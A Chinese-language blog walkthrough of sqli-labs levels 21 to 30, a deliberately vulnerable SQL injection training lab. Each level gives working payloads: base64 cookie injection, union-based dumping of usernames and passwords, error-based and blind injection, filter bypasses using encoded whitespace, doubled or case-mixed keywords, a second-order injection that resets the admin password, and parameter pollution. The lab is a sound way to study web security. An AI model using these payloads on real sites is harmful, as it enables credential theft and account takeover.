sqli-labs闖關之21-30關


不管是第幾關,我們的最終目標是獲得用戶密碼,從而獲取最高權限!

第二十一關

我們輸入用戶名密碼之后發現是這個樣子的,和第20關很像,就是cookie的值變成了一堆字母數字,

這是對cookie的值進行了base64的處理,其他和20關一樣

代理,抓包,,

當然要先確認cookie后面的構造,通過測試是單引號括號閉合'),當然這個也要轉碼,

給大家一個在線加密解密網站

獲取數據庫名

 

-giao') union select 1,2,database()#
轉義后
LWdpYW8nKSB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

 

 

最后獲得用戶名密碼,中間步驟不再一一截圖,里面的語句和第一關一樣

這是語句   -admin') union select 1,2,group_concat(username,0x3a,password) from users#

這是base64轉碼     LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM9

 第二十二關

這一關還是輸入用戶名密碼先試試,發現和21關一樣

 

 

 

還是那個步驟先試試是啥閉合方式,發現是雙引號閉合,

這就好辦了,其他和上一關一樣(步驟都一樣,直接給最后一步)

這是語句    -admin" union select 1,2,group_concat(username,0x3a,password) from users#=

這是base64碼    LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIz0g

 

 

 

第二十三關

上來先看一下23關,趕緊又回歸原始了昂,看上去第一關有點像,那還是哪些步驟試一試嘛

 

 

 

我剛開始我試了試發現字符型注入但是后面有個問題,可以用and 但是不能用聯合查詢語句了,一看php文件原來他把   #  --+注釋符號給過濾掉了

一種是用union select聯合查詢放在id里面             ?id=' union select 1,13,database() '

 

 

 爆表

?id=' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() or '1'= '

 

 

 爆列

?id=' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' or '1'= '

 

 

 爆用戶名密碼

?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1'= '

 

 

另一種是利用or "1"="1來閉合后面的雙引號也。可以達到我們的目的(簡單測試不再贅述,代碼和第五關的基本一樣)    ?id=-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

 

 

 第二十四關

 

 

 這里是個二次注入,我們可以先注冊一個admin'#的賬號,在修改密碼處我們就可以用自己的密碼修改admin的密碼了,(從數據庫中修改是查找的‘admin’#‘,並不會進行轉義,所以最后修改的是admin的密碼)

Sql語句變為UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是執行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

注冊admin'#,,,密碼為123

 

 

 登入

 

 

 修改密碼為123456

 

 

 這時我們就可以用admin用戶登入啦

 

 

 

第二十五關

這關一上來好像就告訴我們不能用and和or進行注入,那咱就不用了,

接下來有三種方法(具體步驟不再截圖)

第一種方法,用--+  #這種普通注入  ?id=-1' union select 1,13,database()--+

 

 

 

第二種方法雙寫or和and,因為它過濾一個,我們就讓過濾后的東西再組成一個   

?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

 

 

 

 

 

  第三種方法,使用&&, 第三種方法,使用&&,||繞過   

?id=1’|| extractvalue(1,concat(0x7e,database()))–+ 

第二十五a關

通過這關的題目我們可以發現這關是盲注,所以說只是不回顯了的不用and和or,

而且我測試發現,這關是數字型注入也就是說沒有引號

 

 

 說是盲注但是還有回顯,因為有回顯位,,雙寫or繞過

 

 

 一說到盲注咱們就想到啥了?那肯定是時間盲注和布爾盲注對吧

時間盲注   ?id=-1 || if(length(database())=8,1,sleep(3))# 

第二十六關

咱直接看它的php文件吧,,直接來了個過濾大套餐,

我們可以用URL編碼

%09 TAB鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return功能
%0b TAB鍵(垂直)
%a0 空格

%27單引號

用'1'='1進行閉合(注意在hackbar中輸入&&時,需要自行URL編碼為%26%26,否則會報錯,而輸入||不需要)

確定顯示位   ?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271

爆庫名   ?id=0'union%a0select%a01,database(),3%26%26'1'='1

 

 

查表名

?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1

 

 

爆列名    ?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1

 

 

 爆用戶名密碼   ?id=0'%a0union%a0select%a01,group_concat(username,0x3b,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1(這里不同的是后面多了where '1'='1,是為了讓語句變成無約束查詢)

 

 

還有一種就是用連接符結合上幾天xpath報錯獲取信息來獲取信息    

?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'

 

 

 除此之外,

還可以盲注     ?id=0'||left(database(),1)='s'%26%26'1'='1

 

 

 

第二十六a關

這關與上一關的區別在於,在后面加上了括號進行閉合,

同時在sql語句執行拋出錯誤后並不在前台頁面輸出。所有我們排除報錯注入,這里依舊是利用union注入

 

 

 

獲取數據庫名                      

?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

 

 

爆表名  ?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1

爆列名      ?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1

爆用戶名密碼  ?id=100')%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1

 

第二十七關

與26關一樣,這次去除了邏輯運算符添加了union seclet。

同樣利用26關的方式,采取%a0來代替空格

這里過濾了union select ,所以我們采用大小寫方式去繞過,雙寫是不行的

爆庫名    ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1

爆表名     ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1

爆列名     ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1

爆用戶名密碼   ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3

獲得用戶名密碼

 

 

第二十七a關

和第二十七關一樣,就是把單引號變成雙引號閉合了 

實驗一下    ?id=0"%A0or(1)=(1)%26%26%a0"1

 

 

獲得數據庫長度   ?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3

獲得數據庫名    ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3

爆表名(查表面需要閉合后面雙引號我就用"1"="1來閉合,前面還需要&&(%26%26)並一起,要不然會顯示不出來,這個我經常忘記,沒有就會出現這種情況)

?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1

爆列名        ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1

爆用戶名密碼      ?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3 

獲取用戶名密碼

 

 

第二十八關

這關在之前的技術上,加上了union和select的大小寫也過濾了,都不能用了

我們直接用盲注,進行測試,一點一點試(其他的不贅述了)

 

 

 得到數據庫名  (用聯合查詢語句的方法) (過濾union select這一個組合,也要過濾空格,所以采用union union select select方法繞過,空格照樣用%0a替換)

?id=0')%A0Union%A0selECt(1),version(),database()%26%26%A0('1

 

 

 

第二十八a關

只是把第28關改成了雙引號,,發現id=1")和id=1)"這樣也行

 

 

 爆數據庫名       ?id=0')UNion%a0SElect%a01,database(),('giao')=('giao

 

 

爆表名     ?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('giao')=('giao

 爆列名     ?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('giao')=('giao

爆用戶名和密碼     ?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('giao')=('giao

 

  當然除了聯合查詢語句還可以   盲注    0')||left((database()),1)='s';%00

第二十九關

上來測試是雙引號單引號,一般來說都是單引號下一關是雙引號,這個是直接就是雙引號,並且兩個單引號也可以,那么語句可能是 select * from users where id='xx' limit 1,1

 

 獲得數據庫名(union select  聯合查詢語句直接上,和之最開始前幾關一樣)(另外發現#在這關不能用)

 

 

爆表名   ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列名     ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆用戶名和密碼     ?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+

另外還有別的方法

利用tomcat與apache解析相同請求參數不同的特性,tomcat解析相同請求參數取第一個,而apache取第二個,如?id=1&id=2,tomcat取得1,apache取得2
獲得表名    ?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

第三十關

這關和上一關一樣,就是把單引號換成了雙引號,

爆用戶名密碼     ?id=-1" union select 1,2,group_concat(username,0x7e,password) from users--+

 

 

 另外和上一關一樣,也可以利用tomcat與apache解析相同請求參數不同的特性

?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

結束


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM